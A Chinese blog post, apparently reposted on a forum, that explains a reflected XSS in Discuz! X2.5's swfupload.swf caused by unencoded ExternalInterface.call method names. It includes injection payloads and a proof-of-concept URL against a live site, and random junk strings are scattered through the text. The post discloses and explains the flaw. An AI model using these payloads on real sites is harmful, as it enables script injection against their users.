Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说

flash.external.ExternalInterface.call($methodName, $parameter)
9 z6 s# b4 Q+ G( v' `3 L在浏览器中执行的是
: ?3 r2 Y6 Q  {6 f' w
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如

flash.external.ExternalInterface.call("object."+$methodName, $parameter)
4 \7 g. W* m, a: j& B* C: q$ ^$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。

try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

' R& r2 u) C1 K: N9 ?: a这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。


$ b0 e( A& \* N& g7 J
& e% }: Z/ i7 j4 }" s0 D+ y4 {漏洞文件：upload\static\image\common\swfupload.swf
) s+ j- p9 Z! [" h( J/ y+ v' M$ O5 @
原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf


漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
' L0 H9 {" ?7 {/ ~% e8 D
9 y4 M! N6 d7 H% [& R
2 `3 O6 h' G. [